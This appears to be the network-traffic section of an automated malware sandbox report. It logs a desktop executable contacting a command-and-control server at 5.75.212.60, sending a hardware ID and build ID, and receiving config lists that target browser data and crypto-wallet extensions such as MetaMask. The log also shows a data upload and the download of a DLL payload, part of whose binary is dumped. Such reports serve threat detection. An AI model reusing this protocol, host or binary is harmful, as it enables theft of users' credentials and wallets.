2024-07-26 09:26:29 UTC	10149	IN	Data Raw: 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 61 73 73 65 74 73 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 50 55 42 4c 49 43 5f 53 48 41 52 45 44 5f 55 52 4c 26 71 75 6f Data Ascii: kamai.steamstatic.com\/","COMMUNITY_CDN_ASSET_URL":"https:\/\/cdn.akamai.steamstatic.com\/steamcommunity\/public\/assets\/","STORE_CDN_URL":"https:\/\/store.akamai.steamstatic.com\/","PUBLIC_SHARED_URL&quo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49714	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:30 UTC	230	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49716	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:31 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:31 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 39 45 34 36 46 37 44 43 34 43 32 38 31 37 30 31 38 37 30 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="hwid"589E46F7DC4C2817018708-a33c7340-61ca-11ee-8c18-806e6f6e6963------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------
2024-07-26 09:26:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:31 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 30 7c 31 7c 30 7c 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 7c 31 7c 30 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|0\|1\|0\|d6ac366be127e5c979703435886dd9be\|1\|0\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49717	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:32 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:32 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------HCAAEGIJKEGHIDGCBAEBCont
2024-07-26 09:26:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:33 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49718	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:33 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------GHDBAFIIECBFHIEBKJJKCont
2024-07-26 09:26:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:34 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49719	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:35 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:35 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------IJKKKFCFHCFIECBGDHIDCont
2024-07-26 09:26:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:35 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49720	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:36 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 7901 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:36 UTC	7901	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------IDBGHDGHCGHCAAKFIIECCont
2024-07-26 09:26:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:37 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49721	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:37 UTC	238	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:38 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:38 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:38 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:38 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 Data Ascii: wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b Data Ascii: D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
